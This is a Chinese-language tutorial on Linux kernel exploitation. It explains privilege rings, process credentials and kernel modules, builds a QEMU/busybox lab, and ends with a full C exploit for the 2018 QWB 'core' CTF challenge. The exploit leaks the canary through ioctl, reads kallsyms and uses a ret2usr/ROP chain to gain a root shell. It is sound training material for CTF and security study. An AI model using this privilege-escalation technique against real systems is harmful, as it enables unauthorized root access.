kernel pwn从小白到大神(一)
字数 2531 2025-08-22 12:22:37
Linux Kernel Pwn 从入门到精通
1. 内核基础理论
1.1 操作系统内核概念
操作系统内核(Operating System Kernel)是一种特殊软件,负责在硬件和软件之间建立桥梁,确保系统稳定高效运行。与普通进程相比,内核代码执行时具有高权限,拥有完全的硬件访问控制权。
1.2 分级保护域(Rings)
x86架构采用分级保护域(hierarchical protection domains)模型,简称Rings:
- Ring 0:内核模式和驱动程序
- Ring 2:需要特权的代码(如I/O权限的用户程序)
- Ring 3:非特权代码(大多数用户程序)
不同系统采用不同Ring保护机制,如Windows 7使用2环,Honeywell 6180使用8环。
1.3 状态切换机制
用户态与内核态切换主要通过两种途径:
- 中断与异常:CPU接收到中断/异常信号时自动切换到Ring 0
- 特权级指令:
iret/sysret:内核→用户sysenter/syscall:用户→内核
1.4 用户态→内核态切换流程
- 通过
swapgs切换GS段寄存器 - 保存用户栈顶到CPU独占区域,加载内核栈顶
- 保存寄存器值
- 判断是否为x32_abi
- 根据系统调用号跳转到
sys_call_table执行
1.5 内核态→用户态切换流程
- 通过
swapgs恢复GS值 - 使用
sysretq或iretq返回用户空间
2. 进程权限管理
2.1 进程凭证(credential)
内核使用task_struct表示进程,其中包含cred结构体管理权限:
- real UID/GID:实际用户/组ID
- saved UID/GID:保存的用户/组ID(用于SUID程序)
- effective UID/GID:决定访问控制权限
- fs UID/GID:VFS操作使用的UID/GID
2.2 权限修改函数
// 创建新的cred结构体副本
struct cred* prepare_kernel_cred(struct task_struct* daemon);
// 应用新的cred结构体
void commit_creds(struct cred *new);
提权常用方式:commit_creds(prepare_kernel_cred(NULL))
3. 可装载内核模块(LKM)
大多数CTF中的kernel漏洞出现在LKM中:
- 文件格式:ELF(与用户态相同)
- 不能独立运行,作为内核一部分存在
3.1 相关命令
| 命令 | 功能 |
|---|---|
| insmod | 加载模块到内核 |
| rmmod | 从内核卸载模块 |
| lsmod | 列出已加载模块 |
| modprobe | 添加/删除模块(处理依赖) |
4. 内核交互机制
4.1 系统调用
通过系统调用号实现,如64位下read的系统调用号为0。
4.2 ioctl系统调用
int ioctl(int fd, unsigned long request, ...);
用于设备控制,比标准文件操作更灵活。
4.3 常用内核函数
| 函数 | 功能 |
|---|---|
| printk | 内核空间打印调试信息 |
| copy_from_user() | 用户空间→内核空间数据拷贝 |
| copy_to_user() | 内核空间→用户空间数据拷贝 |
| kmalloc()/kfree() | 内核空间内存分配/释放 |
5. 环境搭建
5.1 依赖安装
sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils qemu \
flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev \
libpixman-1-dev zlib1g-dev libelf-dev dwarves zstd
5.2 获取内核镜像
- 下载内核源码(如5.11版本):
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.tar.xz
tar -xvf linux-5.11.tar.xz
cd linux-5.11.1/
- 配置编译选项:
make menuconfig
确保勾选:
- Kernel hacking → Kernel debugging
- Compile the kernel with debug info
- KGDB: kernel debugger
- Compile the kernel with frame pointers
- 修改.config文件:
CONFIG_SYSTEM_TRUSTED_KEYS=""
- 编译内核:
make -j$(nproc) bzImage
5.3 构建文件系统
- 编译busybox:
wget https://busybox.net/downloads/busybox-1.33.0.tar.bz2
tar -jxvf busybox-1.33.0.tar.bz2
cd busybox-1.33.0/
make menuconfig # 勾选Build static file
make install
- 配置磁盘镜像:
cd _install
mkdir -pv {bin,tmp,sbin,etc,proc,sys,home,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
touch etc/inittab
mkdir etc/init.d
touch etc/init.d/rcS
chmod +x ./etc/init.d/rcS
- 配置初始化脚本:
cat <<EOF > etc/inittab
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
EOF
cat <<EOF > etc/init.d/rcS
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo -e "\nBoot took $(cut -d' ' -f1/proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
poweroff -d 0 -f
EOF
- 配置用户组:
echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
echo "root:x:0:" > etc/group
echo "ctf:x:1000:" >> etc/group
echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab
- 打包文件系统:
find . | cpio -o --format=newc > ../rootfs.cpio
5.4 QEMU运行内核
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-nographic \
-s
参数说明:
-m:虚拟机内存大小-kernel:内核镜像路径-initrd:磁盘镜像路径-append:内核启动参数-cpu:CPU选项(如开启SMEP保护)-s:开启gdb调试(监听1234端口)
6. 调试技术
6.1 获取模块基地址
lsmod
cat /sys/module/<module_name>/sections/.text
6.2 GDB调试脚本
#!/bin/sh
pwndbg -q -ex "target remote localhost:1234" \
-ex "add-symbol-file ./core.ko $1" \
-ex "b core_copy_func" \
-ex "b core_write" \
-ex "b core_ioctl" \
-ex "b* core_copy_func+0x3b" \
-ex "c"
7. 漏洞利用技术
7.1 ret2usr(已过时)
在没有SMAP/SMEP保护的情况下,内核空间可以执行用户空间代码:
void ret2usr() {
__asm__(
"xor rdi,rdi;"
"mov rax,prepare_kernel_cred;"
"call rax;"
"mov rdi,rax;"
"mov rax,commit_creds;"
"call rax;"
);
}
7.2 Kernel ROP
在内核态构造ROP链完成提权:
- 从vmlinux中提取gadget:
ROPgadget --binary ./vmlinux > rop_all.txt
- 如果没有vmlinux,可以从bzImage提取:
./extract-vmlinux ./bzImage > vmlinux
- 典型ROP链构造:
ATTACK_init();
ATTACK_change(canary);
ATTACK_change(0);
ATTACK_change(Get_Real_addr(rdi_ret));
ATTACK_change(0);
ATTACK_change(prepare_kernel_cred);
ATTACK_change(Get_Real_addr(rdx_ret));
ATTACK_change(commit_creds + 2);
ATTACK_change(Get_Real_addr(movRdi_Rax_callRDX));
ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
ATTACK_change(0);
ATTACK_change(iretq_ret + vmlinux_base);
ATTACK_change((size_t)getshell);
ATTACK_change(user_cs);
ATTACK_change(user_rflags);
ATTACK_change(user_sp);
ATTACK_change(user_ss);
8. 实战案例:2018强网杯-core
8.1 漏洞分析
- 通过
/proc/core文件与内核交互 core_read中存在栈溢出,可泄露canarycore_copy_func中存在整数溢出,可绕过长度检查core_write可将用户态数据写入内核
8.2 利用步骤
- 读取
/tmp/kallsyms泄露提权函数地址 - 保存用户空间寄存器状态
- 利用
ioctl泄露canary - 构造ROP链完成提权
- 返回用户态执行
system("/bin/sh")
8.3 完整EXP
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#define __int64 long long
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void printColor(char *buf);
void getshell(void);
void set_off(int fd, __int64 data){
printf("[*] set off -> %lld\n", data);
ioctl(fd, 0x6677889C, data);
}
void core_read(int fd, char *buf){
printf("[*] core read addr-> 0x%llx\n", buf);
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, __int64 data){
printf("[*] core_copy_func -> %llx\n", data);
ioctl(fd, 0x6677889A, data);
}
size_t Get_Real_addr(size_t addr){
return addr - raw_vmlinux_base + vmlinux_base;
}
typedef struct StackAttack{
size_t buf[256];
int idx;
} ATTACKS, *P_IMAGE_stack;
P_IMAGE_stack soverflow;
void ATTACK_init(){
puts("[*]ATTACK_init");
soverflow = (P_IMAGE_stack)malloc(sizeof(ATTACKS));
if(soverflow == NULL){
puts("[*]init error");
exit(-1);
}
soverflow->idx = 8;
}
void ATTACK_change(size_t data){
soverflow->buf[soverflow->idx] = data;
soverflow->idx++;
}
void ret2usr(){
__asm__(
"xor rdi,rdi;"
"mov rax,prepare_kernel_cred;"
"call rax;"
"mov rdi,rax;"
"mov rax,commit_creds;"
"call rax;"
);
}
const char* FILESYM = "/tmp/kallsyms\0";
const char* FileAttack = "/proc/core\0";
const __int64 commit_offset = 0x9c8e0;
const __int64 prepare_offset = 0x9cce0;
int main(void){
puts("[*]start");
save_status();
int fd = open(FileAttack, 2);
if(fd < 0){
puts("[*]open /proc/core error!");
}
find_symbols(FILESYM, commit_offset, prepare_offset);
set_off(fd, 64);
char buf[64] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[*] canary -> 0x%llx\n", canary);
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq_ret = 0x50ac2;
ATTACK_init();
puts("[*]ATTACK payload++");
ATTACK_change((canary));
ATTACK_change(0);
ATTACK_change((size_t)ret2usr);
ATTACK_change(Get_Real_addr(swapgs_popfq_ret));
ATTACK_change(0);
ATTACK_change(iretq_ret + vmlinux_base);
ATTACK_change((size_t)getshell);
ATTACK_change(user_cs);
ATTACK_change(user_rflags);
ATTACK_change(user_sp);
ATTACK_change(user_ss);
printColor("[*]write");
write(fd, soverflow->buf, 0x800);
core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));
return 0;
}
void save_status(){
__asm__(
"mov user_cs,cs;"
"pushf;"
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
size_t find_symbols(const char* FILENAME, __int64 commit_offset, __int64 prepare_offset){
FILE* kallsyms_fd = fopen(FILENAME, "r");
if(kallsyms_fd < 0){
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd)){
if(commit_creds & prepare_kernel_cred) return 0;
//find commit_creds
if(strstr(buf, "commit_creds") && !commit_creds){
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - commit_offset;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
//find prepare_kernel_cred
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - prepare_offset;
}
}
if(!commit_creds & !prepare_kernel_cred){
puts("[*]read kallsyms error!");
exit(0);
}
}
void getshell(void) {
if(getuid()){
printColor("[x] fail get shell");
exit(-1);
}
printColor("[*]Successful");
system("/bin/sh");
}
void printColor(char *buf){
printf("\033[31m\033[1m%s\033[0m\n", buf);
}
9. 总结
- 理解内核基本概念和权限模型
- 掌握内核环境搭建和调试技术
- 熟悉常见内核漏洞类型和利用方法
- 根据保护机制选择合适的利用技术(ret2usr/Kernel ROP)
- 注意保存和恢复用户态上下文
随着内核保护机制(SMEP/SMAP/KASLR/KPTI等)的增强,内核漏洞利用技术也在不断演进,需要持续学习和研究新的绕过方法。